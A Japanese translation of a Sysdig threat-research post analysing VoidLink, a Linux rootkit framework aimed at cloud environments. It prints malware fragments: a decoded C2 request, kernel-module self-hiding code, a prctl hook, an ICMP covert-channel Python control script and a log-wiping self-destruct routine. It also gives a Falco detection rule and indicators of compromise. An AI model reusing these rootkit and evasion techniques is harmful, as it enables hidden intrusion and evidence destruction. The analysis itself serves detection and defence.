2026年1月13日、Check Point Researchは、クラウド環境を標的とするよう設計された中国開発のLinuxマルウェア・フレームワークであるVoidLinkについての分析を公開しました。発見を受けて、Sysdig Threat Research Team(TRT)はVoidLinkをさらに深掘りし、そのバイナリを調査して、マルウェアのローダーチェーン、ルートキット内部、制御メカニズムをよりよく理解しました。
Sysdig TRTによるVoidLink分析の主な所見は次のとおりです:
- 初めて文書化されたサーバーサイド・ルートキット・コンパイル(SRC):コマンド&コントロール(C2)サーバーが、各標的の特定カーネルバージョンに合わせてオンデマンドでカーネルモジュールをビルドし、ロード可能カーネルモジュール(LKM)ルートキットを制限してきた可搬性の問題を解決します。
- AI支援を伴う中国開発:カーネルソース全体に中国語の技術コメントが残っており、大規模言語モデル(LLM)生成のボイラープレート的パターンと組み合わされています。
- 適応型の検知・対応回避:VoidLinkはセキュリティ製品を発見し、三重冗長の制御チャネルを用いてリアルタイムに挙動を調整します。
- ランタイム監視で検知可能:高度であるにもかかわらず、VoidLinkのsyscallパターンやファイルレス実行手法は、FalcoやSysdig Secureのようなランタイム検知ツールから可視です。
- Zigプログラミング言語:VoidLinkは、Zigで書かれたことが確認された初の中国語マルウェアです。
Sysdig TRTによるVoidLinkの技術的検証は感染チェーンから始まり、ルートキットを掘り下げ、これまで未発見だった複数の機能と侵害指標を特定します。まずはアーキテクチャを分析しましょう。
VoidLinkのマルチステージ・ローダー・アーキテクチャ
VoidLinkは、ディスク上の痕跡を最小化し、静的解析を回避するよう設計された3段階の配布メカニズムを使用します。侵入には最初の2つのドロッパーに依存します:
ステージ0:初期ドロッパー
ステージ0ローダーは、感染をブートストラップするZigで書かれた最小9KBのExecutable and Linkable Format(ELF)バイナリです。この単純さは意図的で、バイナリが小さいほど注目を集めにくく、残るアーティファクトも少なくなります。
実行されると、ステージ0は次の操作を行います:
- forkし、
prctl(PR_SET_NAME)を使って[kworker/0:0]になりすます。 - HTTP経由でC2に接続し、
/stage1.binをダウンロードする。 - ファイルレス手法を用いて、ペイロードを完全にメモリ上で実行する。
syscallのシーケンスは非常に特徴的です:
fork(57) → 子プロセスを作成
prctl(157) → プロセス名を[kworker/0:0]に設定
socket(41) → TCPソケットを作成
connect(42) → C2サーバーへ接続
recvfrom(45) → /stage1.binペイロードを受信
memfd_create(319) → 匿名メモリファイルを作成
write(1) → ペイロードをmemfdへ書き込み
execveat(322) → メモリfdから実行
memfd_createの後にexecveatを続けるのは、ファイルレス実行のよく知られた組み合わせ手法です。これに先行する、カーネルスレッド名を用いたprctl(PR_SET_NAME)は特に不審です。正当なカーネルスレッドは、/proc/<pid>/exeに実行パスを持つことは多くありません。
C2設定のエンコード
C2アドレスはXORキー0xAAで難読化されています:
encoded = bytes.fromhex("92849b9e93839b989284...")
decoded = bytes([b ^ 0xAAfor b in encoded])
# Result: b'8.149.128.10/stage1.bin HTTP/1.1\r\nHost: '
ポート(8080)は別に保存され、rolw $8, %cxでバイトスワップされています。この軽微な難読化により単純な文字列抽出は難しくなりますが、逆解析は容易です。
ステージ1:インプラント・ドロッパー
ステージ1はステージ0と同じ9KBサイズおよびZigツールチェーンを共有します。主な違いはHTTP Rangeヘッダーのサポートで、これによりより大きなインプラント・バイナリの再開可能なダウンロードが可能になります。
| 機能 | ステージ0 | ステージ1 |
|---|---|---|
| ダウンロード対象 | /stage1.bin |
/implant.bin |
C2エンコード |
0xAAでXOR |
平文 |
| HTTP機能 | 基本的なGET | Range: bytes=ヘッダー |
| プロセスマスク | [kworker/0:0] |
複数のバリアント |
Rangeヘッダーのサポートは実用的な選択です。インプラントは1.2MBで、ダウンロードが中断しても再開でき、最初からやり直す必要がありません。パス/implant.binは2つの文字列断片から実行時に構築され、これは基本的なアンチ文字列手法です。
ファイルレス実行の詳細
memfd_create("", MFD_CLOEXEC) → fd 3write(3, implant_data, size)
execveat(3, "", argv, envp, AT_EMPTY_PATH)
AT_EMPTY_PATHフラグと空のファイル名により、ファイルシステム上のパスなしでファイルディスクリプタから直接実行できます。バイナリは一切ディスクに書き込まれません。
検知と対応の適応型回避
VoidLinkは主要なCloud Detection and Response(CDR)、Endpoint Detection and Response(EDR)、Extended Detection and Response(XDR)製品を単に回避するだけではありません。プロセス名やパスのレベルでそれらを積極的にプロファイリングし、それに応じて挙動を調整します。この適応型ステルスは、このフレームワークの決定的特徴の1つです。仕組みをよりよく理解するために、VoidLinkが探すプロセス名とパスを見て、見つけたときに何が起きるかを確認しましょう。
セキュリティ製品の検出
インプラントは2つの方法でセキュリティ製品をスキャンします:/proc/<pid>/commによるプロセス列挙と、インストールパスのプローブです。
| ベンダー | プロセス名 | インストールパス |
|---|---|---|
| CrowdStrike | falcon-sensor, falconctl |
/opt/CrowdStrike/ |
| SentinelOne | SentinelAgent, sentinelctl | /opt/sentinelone/ |
| Carbon Black | cbagentd | /var/opt/carbonblack/ |
| Falco | falco |
/etc/falco/falco.yaml |
| Sysdig | sysdig | – |
| Wazuh | wazuh-agentd |
– |
| OSSEC | ossec-agent, ossec-agentd |
/var/ossec/etc/ossec.conf |
| osquery | osqueryd |
– |
auditd |
auditd |
/etc/audit/auditd.conf |
| ClamAV | clamd | – |
| Alibaba Aegis | aegis | – |
さらに、VoidLinkは2つの動的解析ツールもチェックします。人気の動的インストルメンテーション・ツールキットであるFridaについては、frida-agentおよびfrida-gadgetプロセスを探し、/proc/self/mapsをスキャンしてロード済みのFridaライブラリを確認します。デバッガ検出では、/proc/self/statusのTracerPidフィールドをチェックします。このフィールドには、ptraceを介して現在のプロセスをトレースしているプロセスのプロセスIDが含まれます。値が0であればトレーサは付いておらず、0以外であればgdb, strace、またはセキュリティツールなどのデバッガが能動的に付いていることを意味します。
なお、Sysdig Secureは表に記載されたプロセス名を使用しません。ただし、これはシステムコールを記録できるsysdig OSSツールの名称です。
リスクに基づくタイミング調整
検知・対応製品が検出されると、VoidLinkはビーコンのタイミングを変更して検出確率を下げます:
| 条件 | 基本遅延 | 最大遅延 | ジッター | モード |
|---|---|---|---|---|
| 検知・対応製品が未検出 | 4096ms |
1000ms |
20% | aggressive |
| 検知・対応製品が検出 | 1024ms |
5000ms |
30% | paranoid |
リバースエンジニアリング中、逆アセンブルされたバイナリから使用されている正確な値が明らかになります:
; いずれかのEDRが検出されたか確認 (rbx = count)
0x108b721: testq %rbx, %rbx
0x108b728: je no_detections
; 高リスク - EDR検出
0x108b758: movl $0x400, ... ; base_delay = 1024ms
0x108b76e: movl $0x1388, %r14d ; max_delay = 5000ms
0x108b774: movl $0x3e99999a, ... ; jitter = 0.3 (30%)
0x108b77e: movb $0x2, %al ; mode = 2 (paranoid)
; 低リスク - 未検出
0x108b788: movl $0x1000, ... ; base_delay = 4096ms
0x108b79e: movl $0x3e8, %r14d ; max_delay = 1000ms
0x108b7a4: movl $0x3e4ccccd, ... ; jitter = 0.2 (20%)
0x108b7ae: movb $0x1, %al ; mode = 1 (aggressive)
利用可能な回避戦略
| 戦略 | 説明 |
|---|---|
| aggressive | 通常運用、標準的なビーコン間隔 |
| paranoid | 最大限の警戒、遅延延長、高ジッター |
low_activity |
動作を抑制し、痕跡を最小化 |
simulate_normal |
正当なアプリケーションのトラフィックパターンを模倣 |
文字列から見つかった追加の回避トグルには、営業時間のみ活動するためのworking_hours.enabled、トラフィックパターンを合わせるためのtraffic_shaping.enabled、そしてHTTP、WebSocket、Internet Control Message Protocol(ICMP)チャネル間をホットスイッチするための protocol_switchがあります。
ルートキットの機能とカーネルレベルのステルス
VoidLinkは高度なルートキットを実装しており、3つの展開方法を備えています。被害環境におけるカーネルバージョンと利用可能な機能に基づき、そのうち1つだけが選択されます。
展開の意思決定ロジック
フレームワークは適切なステルスメカニズムを自動選択します:
- カーネル6.x+:eBPFをリモートコンパイルし、
ss_loaderで展開 - カーネル5.x:eBPFとロード可能カーネルモジュール(LKM)を組み合わせたハイブリッドモード
- 旧カーネル:LKMをリモートコンパイルし、
finit_moduleでロード
サーバーサイド・ルートキット・コンパイル(SRC)
VoidLinkインプラントはカーネルモジュールを直接埋め込みません。代わりに、POSTで/compileへ送信し、C2サーバーにカーネル固有のビルドを要求します:
{
"kernel_release": "6.1.0-generic",
"hidden_ports": [4444, 8080],
"has_gcc": true,
"has_clang": false,
"has_headers": true}
C2は標的カーネルに適したコンパイル済みモジュールを返します:
{
"module_type": "ebpf",
"ebpf_data": "<base64-encoded .o file>",
"needs_ebpf_ss": true}
この未見の設計により、クライアント側でCompile Once, Run Everywhere(CO-RE)の複雑さを抱えることなく、インプラントを小さく保ち、カーネル互換性を確保できます。C2サーバーは一般的なカーネルバージョン向けにコンパイル済みモジュールをキャッシュできます。
カーネル可搬性への新しいアプローチ
カーネルモジュールは特定のカーネルヘッダーに対してコンパイルする必要があり、LKMルートキットにとって可搬性の課題となります。VoidLinkのSRCアプローチは、文書化されたマルウェアとしては前例がないように見えます:
| マルウェア | アプローチ | 制約 |
|---|---|---|
| Krasue RAT | 事前コンパイル済みルートキットを7つ埋め込み | 特定のカーネルバージョンのみをカバー |
| Drovorub | 単一の事前コンパイル済みモジュール | カーネル互換性が限定的 |
| Diamorphine | 標的上でコンパイル | 標的にgcc/makeが必要 |
| BPFDoor | eBPFバイトコード | eBPFの機能に限定 |
| VoidLink | C2がオンデマンドでコンパイル |
無制限のカーネルをサポート |
SRCは、インプラントを肥大化させたり標的にビルドツールを要求したりすることなく、カーネル可搬性の問題を解決します。C2はインプラントを再展開せずにルートキットコードを更新でき、モジュールはオンデマンドでコンパイルされるため、静的シグネチャを減らせます。
セルフコンパイル・バリアント:埋め込みアセット
より大きい1.9MBのバリアントは、ルートキット展開に別のアプローチを取ります。ソースコード(約700KB)とgzip圧縮された事前コンパイル済みバイナリ(約800KB)の両方を埋め込みます:
| ファイル名 | サイズ | SHA256 |
|---|---|---|
vl_stealth.ko |
108 KB | a12a9eb2e5e... |
ss_loader |
1.3 MB | 143274080851... |
hide_ss.bpf.o |
100 KB | f208cebec4f... |
展開のフォールバックチェーンは、まずローカルコンパイル(gccとカーネルヘッダーが利用可能な場合)を試み、次に事前コンパイル済みvl_stealth.koを抽出してfinit_module()でロードし、ss_loaderを/tmp/.vl_ss_loaderへ抽出してeBPFを展開します。
LKMのフック対象
カーネルモジュール(vl_stealth.ko)は、インプラントの存在を隠すために複数のフックタイプを実装します。
syscallテーブルフック:
| フック対象 | 目的 | 回避対象 |
|---|---|---|
prctl |
マジック0x564C経由で隠蔽コマンドを受信 |
制御チャネル |
getdents |
32ビットのディレクトリ一覧をフィルタ | ls, find |
getdents64 |
64ビットのディレクトリ一覧をフィルタ | ls, find |
Kretprobeフック:
| フック対象 | 目的 | 回避対象 |
|---|---|---|
tcp4_seq_show |
/proc/net/tcp出力をフィルタ |
netstat-t |
tcp6_seq_show |
/proc/net/tcp6出力をフィルタ |
netstat-t6 |
udp4_seq_show |
/proc/net/udp出力をフィルタ |
netstat-u |
netlink_recvmsg |
netlinkソケット応答をフィルタ |
ss-t, ss-u |
inet_sk_diag_fill
|
inet diag応答をフィルタ |
ssソケット詳細 |
vfs_read |
debugfs/procfsの読み取りをフィルタ |
/proc/modules,/proc/kallsyms
|
なぜnetstatにはLKMで、ssにはeBPFなのか?
インプラントは、ツールごとにネットワーク状態の問い合わせ方法が異なるため、異なるステルスメカニズムを使用します。netstatコマンドは/proc/net/tcpを読み取るため、tcp4_seq_show kretprobeでインターセプトできます。しかし、ssユーティリティはnetlinkソケット(NETLINK_SOCK_DIAG)を使用するため、recvmsgをインターセプトするにはeBPFが必要です。ソース内の中国語コメントには明示的に「ss 命令隐藏由 eBPF 模块实现 (更稳定)」(ssコマンドの隠蔽はeBPFモジュールで実装(より安定))と記されています。
カーネル5.7+互換性
Linux 5.7ではkallsyms_lookup_nameのエクスポートが停止され、カーネルシンボルを見つける一般的な手法が破綻しました。VoidLinkはこれを回避するため、kallsyms_lookup_name自体にkprobeを登録し、kprobe構造体からアドレスを読み取り、そのアドレスを関数ポインタとして他のシンボルを検索します。
ICMP秘匿チャネル用のNetfilterフック:
| フックポイント | 目的 |
|---|---|
NF_INET_PRE_ROUTING |
受信ICMPをインターセプト |
NF_INET_LOCAL_IN |
ローカルホスト宛ICMPを処理 |
NF_INET_LOCAL_OUT |
送信ICMPをフィルタ |
モジュールの自己隠蔽
モジュールは標準的な列挙から自分自身を除外し、防御側が異常なカーネルモジュールを特定しにくくします。Linuxカーネルは、modulesグローバル変数を起点とする、ロード済みモジュールの双方向リンクリストを維持しています。このリストは/proc/modulesが走査し、結果としてlsmodが表示するものです。各ロード済みモジュールは、このチェーンにリンクするlistメンバーを含むstruct moduleで表現されます。このリストから自分自身をアンリンクすることで、モジュールはメモリ上で完全に機能したまま、標準的な列挙ツールから不可視になります:
staticvoidhide_module(void) {
list_del_init(&THIS_MODULE->list); // /proc/modulesから隠す kobject_del(&THIS_MODULE->mkobj.kobj); // /sys/module/から隠す}
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y"); // in-treeモジュールのふりをする
MODULE_INFO(intree, "Y")ディレクティブにより、モジュールは外部ロードされたモジュールではなく正当なカーネルコンポーネントのように見え、「O」(out-of-tree)のtaintフラグを回避します。
vfs_readによるシンボル隠蔽
vfs_readフックは、/proc/kallsymsおよび/sys/kernel/debug/kprobes/listから機微な文字列をフィルタします。これがなければ、cat /proc/kallsyms | grep vl_stealthでモジュールが露見します。フィルタ対象の文字列にはvl_stealth、tcp4_seq_show, netlink_recvmsg、そして特にvfs_read自身が含まれます。ルートキットは、自身の隠蔽メカニズムも隠します。
制御チャネル
VoidLinkは、ルートキットを管理するための3つの異なる制御チャネルを提供し、それぞれ目的、ステルス特性、機能上のトレードオフが異なります。
prctlマジック・インターフェース
これはルートキットへのローカル・インターフェースで、インプラントが変更を加えられるようにします。カーネルモジュールはprctlをフックし、マジックなオプション値0x564C(ASCII「VL」)に応答します:
#define PRCTL_MAGIC 0x564C
static asmlinkage long hk_prctl(int option, unsigned long arg2, ...) {
if (option == PRCTL_MAGIC) {
int cmd = (int)arg2;
switch (cmd) {
case1: add_hidden_port(arg3); break;
case2: add_hidden_pid(arg3); break;
case3: add_hidden_file((char*)arg3); break;
case4: clear_all_hiding(); break;
}
return0;
}
return orig_prctl(option, arg2, arg3, arg4, arg5);
}
これはネットワーク通信を必要としないユーザー空間の制御インターフェースを提供し、脅威アクターが検知をより回避しやすくします。
Berkeley Packet Filterマップ更新
eBPFベースのステルスでは、インプラントはbpfマップを更新してネットワーク隠蔽機能に変更を加えます:
int ports_fd = bpf_object__find_map_fd_by_name(obj, "sd_nl_ports");
bpf_map_update_elem(ports_fd, &port, &v, BPF_ANY);
使用されるBerkeley Packet Filter(BPF)マップには、ssから隠すポートのsd_nl_ports、psから隠すPIDのsd_cg_pids、隠すファイル名のsd_cg_namesが含まれます。
ICMP秘匿チャネル
最も興味深い制御メカニズムは、ICMPエコーパケット経由でコマンドを送れる点です。これにより、他のアクセスがすべて失われても、コマンドをリモートからインプラントへ送信できます。VoidLinkは、IDフィールドにマジック値0xC0DEを含むpingパケット(ICMP type 8)を待ち受けます。
| コード | コマンド | 説明 |
|---|---|---|
0x01 |
HIDE_PID |
プロセスIDを隠す |
0x02 |
HIDE_PORT |
ネットワークポートを隠す |
0x03 |
HIDE_FILE |
プレフィックスに一致するファイルを隠す |
0x04 |
SHOW_MOD |
カーネルモジュールの隠蔽を解除 |
0x12 |
HIDE_IP |
IPへの接続を隠す |
0x13 |
HIDE_IPPORT |
IP:portペアへの接続を隠す |
0x20 |
SET_KEY |
認証キーをローテーション |
0xFE |
SELF_DESTRUCT |
消去してアンロード |
0xFF |
CLEAR |
すべての隠蔽ルールをクリア |
さらに興味深いのは、マルウェア作者が完全なPython制御スクリプトをバイナリに直接埋め込んでいたことです:
import socket,struct,sys
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,1)
magic=0xC0DEkey=0x42cmd=int(sys.argv[2])
data=bytes.fromhex(sys.argv[3]) if len(sys.argv)>3else b''payload=struct.pack('>HBB',magic,cmd,key)+data
# ... checksum calculation ...
s.sendto(icmp,(sys.argv[1],0))
これにより、主要なHTTP C2パスがブロックされてもアウトオブバンド制御が可能になります。標的へのICMP到達性だけが必要で、脅威アクターは静かに持続できます。
制御チャネルのコマンド対応
興味深い癖として、prctlとICMPのインターフェースでは、ポートとProportional, Integral, and Derivative(PID)操作のコマンド番号が異なり(入れ替わっています)。これはコードパスが独立に進化したことを示唆します。
| 対象 | prctl cmd |
ICMP cmd |
|---|---|---|
| ポート | 1 | 0x02 |
| PID | 2 | 0x01 |
| ファイル | 3 | 0x03 |
自己破壊メカニズム
ICMPの0xFEコマンドは、証拠の包括的な破壊を引き起こします。クリーンアップシーケンスには、LKMの無効化(隠蔽されたPID、ポート、ファイルプレフィックスの全クリア)、ログ消去(/var/log/auth.log、/var/log/syslog、/var/log/audit/audit.logなど)、シェル履歴の削除(~/.bash_history、~/.zsh_history、~/.python_history)、VoidLinkアーティファクトのクリーンアップ(/tmp/.vl_*, /var/tmp/.vl_*, /dev/shm/.vl_*)、およびunlink(self_path)による自己削除が含まれます。
このクリーンアップルーチンの徹底ぶりは、ルートキット開発者の高いオペレーションセキュリティ意識を示しています。
クラウドネイティブ機能
VoidLinkには、クラウドおよびコンテナ環境向けの専用機能が含まれます:
環境検出
| 対象 | 検出方法 |
|---|---|
| コンテナ |
/.dockerenv,cgroup名前空間 |
| Kubernetes |
/var/run/secrets/kubernetes.io/サービスアカウントトークン |
| AWS |
169.254.169.254メタデータエンドポイント |
| GCP |
169.254.169.254(GCPヘッダー付き) |
| Alibaba |
100.100.100.200メタデータエンドポイント |
| Tencent |
metadata.tencentyun.com
|
コンテナ脱出プラグイン
docker_escape_v3プラグインは脱出機会を探索します。おそらく、マウントされたDockerソケット(/var/run/docker.sock)、特権コンテナ検出(--privileged)、機微なホストパスのマウント(/, /etc, /root)、カーネルエクスプロイトの適用可能性、cgroupのrelease_agent悪用などが含まれます。
Kubernetes権限昇格
k8s_privesc_v3プラグインは設定不備をスキャンします。おそらく、過度に権限のあるサービスアカウントトークン、特権的なPodセキュリティコンテキスト、ホスト名前空間へのアクセス(hostPID, hostNetwork)、書き込み可能なhostPathマウント、Role-Based Access Control(RBAC)の設定不備(シークレットアクセスやPod作成を許す)などが含まれます。
このコンテナ脱出とKubernetes権限昇格機能の組み合わせにより、コンテナ分離が主要なセキュリティ境界であるクラウドネイティブ環境において、VoidLinkは特に懸念されます。
検知
このルートキットは高度で、セキュリティツールの検知回避を試みていますが、それでもFalcoおよびSysdig Secureユーザー向けのランタイム検知ルールで検出可能です。
Sysdig Secureの顧客には、VoidLinkを検出するためのルールがすでに用意されています。これには、ルートキットのインストールを検出する複数のルールが含まれます:
- /tmpバイナリのドロップと実行
- ファイルレスマルウェア検出(memfd)
- Linuxカーネルモジュール注入の検出
- 新規カーネルモジュールの作成とロード
- eBPFプログラムがカーネルにロードされた
- ファイルレスプログラムによるBPFコマンド実行
- 動的リンカーハイジャックの検出
Falcoでは、以下のルールがドロッパーによるmemfd_createの使用を検出します。これはデフォルトのFalcoルールセットに含まれています。
- rule: Fileless execution via memfd_create
desc: memfd_create手法を用いてメモリからバイナリが実行されたかを検出します。これは、ペイロードをディスクに保存せず、何が実行されたかの痕跡を残さないようにして被害端末上でマルウェアを実行するための、よく知られた防御回避手法です。導入者は、known_memfd_execution_processesのリストに項目を追加することで、正当な目的でファイルレス実行を使用する可能性のあるプロセスをホワイトリスト化できます。
condition: >
spawned_process
and proc.is_exe_from_memfd=true and not known_memfd_execution_processes
output: Fileless execution via memfd_create | container_start_ts=%container.start_ts proc_cwd=%proc.cwd evt_res=%evt.res proc_sname=%proc.sname gparent=%proc.aname[2] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags
priority: CRITICAL
tags: [maturity_stable, host, container, process, mitre_defense_evasion, T1620]
帰属(アトリビューション)指標
いくつかの重要な指標は、カーネルに精通した中国語話者の開発者を示しています。
中国語ネイティブの技術ドキュメント
埋め込まれたカーネルモジュールのソースには、機械翻訳ではない技術的に正確な中国語コメントが多数含まれています:
// ============= 稳定性增强: 符号查找 =============// (安定性強化:シンボル検索)
// 方式1: 直接查找 (kallsyms_lookup_name - pre-5.7)// 方式2: 使用 kprobe 直接查找 (5.7+)// 方式3-5: Try compiler-mangled variants (.isra.X, .constprop.X, .part.X)
MODULE_INFO(intree, "Y"); // taint警告を回避// (taint警告を回避)
コメントは、kallsyms_lookup_nameがエクスポートされなくなったLinux 5.7の変更を認識しているなど、カーネル開発に関する実際の知識も示しており、kprobeベースの回避策が必要になります。
AI支援開発の評価
コード分析は、人間主導・AI支援の開発モデル(AI支援の確率は推定70〜80%)を示唆します。
AI支援の証拠:
- すべてのモジュールで完全に一貫した書式の、過度に体系的なデバッグ出力。
- プレースホルダーデータ(「John Doe」)は、LLMの学習例がデコイ応答テンプレートに埋め込まれた典型例です。
- すべてが
_v3(BeaconAPI_v3, docker_escape_v3, timestomp_v3)という一様なAPIバージョニング。 - あらゆる可能なフィールドを網羅するテンプレート的なJSONレスポンス。
人間の専門性の証拠:
- カーネルモジュール全体にわたる中国語ネイティブの技術コメント。
- 深いカーネル開発知識(kretprobe、netfilterフック、kallsyms互換性)。
- 実際のレッドチーム経験を反映した運用上の技巧(マジックバイト、再開可能ダウンロード、複数のフォールバックパス)。
- Zigツールチェーンの意図的な選択。
最も可能性が高いシナリオは、熟練した中国語話者の開発者が、AIを用いて開発を加速(ボイラープレート、デバッグログ、JSONテンプレートの生成)しつつ、セキュリティの専門性とアーキテクチャは自ら提供した、というものです。
結論
VoidLinkは、Linuxを標的とするマルウェアにおける重要な進化を示しています。個々の手法はよく文書化されていますが、その統合はプロフェッショナルに設計されています。C2が各標的の特定カーネルバージョン向けにオンデマンドでカーネルモジュールをビルドするSRCアーキテクチャは、クロスカーネルのルートキット展開における難題を解決します。適応型の脅威プロファイリング、洗練されたフォールバックチェーン、冗長な制御チャネルは、運用経験を伴う成熟した開発努力を示しています。
Linuxを標的とする攻撃の頻度が増す中、ランタイム脅威検知はこれまで以上に重要です。VoidLinkはセキュリティ製品を積極的にプロファイルし、回避のために適応するため、静的検知だけでは不十分です。Linuxインフラを運用する組織は、行動ベースの検知機能の導入と、本レポートで詳述した指標の監視を優先すべきです。
解析したサンプル
本分析は5つのVoidLinkバリアントを対象としており、それぞれがフレームワークのアーキテクチャに関する異なる洞察を提供します:
| バリアント | SHA256 | サイズ | 備考 |
|---|---|---|---|
| ステージ0 |
70aa5b3516d...
|
9 KB | 初期ドロッパー |
| ステージ1 |
13025f83ee5...
|
9 KB | 再開可能ダウンロード対応のインプラント・ドロッパー |
| インプラント |
4c4201cc127...
|
1.2 MB | リモートコンパイル・バリアント |
| セルフコンパイル |
05eac3663d4...
|
1.9 MB | 埋め込みソースと事前コンパイル済みモジュール |
| Zigデバッグ |
15cb93d38b0...
|
5.1 MB | デバッグシンボルが保持 |
Zigデバッグ・バリアントは特に有用でした。保持されたシンボルにより、相当なリバースエンジニアリング作業を要するはずのモジュールアーキテクチャと内部命名規則が明らかになります。
なぜZigなのか?
VoidLinkはZigプログラミング言語で構築されており、これは攻撃的ツールにおける増加傾向を反映した珍しい選択です。Zigはガベージコレクションなしでのメモリ安全性、Cに近い低レベル制御、組み込みのクロスコンパイルを提供します。脅威アクターにとってより重要なのは、Zigバイナリは従来のC/C++実行ファイルよりも構造が認識されにくく、ヒューリスティックやシグネチャベースの検知エンジンを混乱させる点です。
この選択は意図的です。静的リンクされたZigバイナリはランタイム依存なしにどこでも動作し、セキュリティツールはまだZig特有のパターンに十分チューニングされていません。VoidLinkは、中国語話者の脅威アクターに帰属されるZigベースのマルウェアとして初めて文書化されたものと思われます。
侵害指標(IOC)
ファイルハッシュ(SHA256)
ローダーとインプラント:
| ハッシュ | 説明 |
|---|---|
70aa5b3516d331e9d1876f3b8994fc8c18e2b1b9f15096e6c790de8cdadb3fc9
|
ステージ0 ドロッパー |
13025f83ee515b299632d267f94b37c71115b22447a0425ac7baed4bf60b95cd
|
ステージ1 ドロッパー |
4c4201cc1278da615bacf48deef461bf26c343f8cbb2d8596788b41829a39f3f
|
インプラント (リモートコンパイル) |
05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc97038948f69
|
セルフコンパイル バリアント |
15cb93d38b0a4bd931434a501d8308739326ce482da5158eb657b0af0fa7ba49
|
Zigデバッグ バリアント |
抽出されたモジュール:
| ハッシュ | 説明 |
|---|---|
a12a9eb2e5efe9a64fdf76803ac6be78e780e8a5ed35aca5369b11e2f63af998 |
vl_stealth.ko |
143274080851cbc095d286d6cc847e5e0aa8aab98bb1501efbf33e4c08e5f345 |
ss_loader |
f208cebec4f48c853fc8e8e29040cfbe60ce2b5fa29056d67654089335c21efd |
hide_ss.bpf. o |
ネットワーク指標
C2サーバー:
| 属性 | 値 |
|---|---|
| IPアドレス | 8.149.128.10 |
| ポート | 8080 |
| ASN | AS37963(Alibaba Cloud) |
| 国 | 中国(CN) |
C2エンドポイント:
POST /api/v2/handshakePOST /api/v2/syncGET /api/v2/heartbeatPOST /compileGET /stage1.binGET /implant.bin
User-agent文字列:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
ファイルシステムのアーティファクト
ドロップ先:
/tmp/.vl_ss_loader/tmp/.vl_k[3-6].ko/tmp/.vl_cmd.sh/tmp/.vl_config/tmp/.font-unix/.tmp.ko/tmp/.font-unix/.cmd.sh
ステージングパス:
/dev/shm/.x/dev/shm/.pulse-*/dev/shm/.vl_*/tmp/.x/var/tmp/.vl_*
プロセス指標
なりすまし名:
[kworker/0:0][kworker/0:1][kworker/u8:0][kworker/u16:0]migration/0watchdog/0rcu_sched
マジック値
| 値 | 目的 |
|---|---|
0x564C |
LKM制御のためのprctlマジック(「VL」) |
0xC0DE |
秘匿チャネル用のICMP echo ID |
0xAA |
C2設定エンコード用のXORキー |
0x42 |
デフォルトのICMP認証キー |
翻訳元: https://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits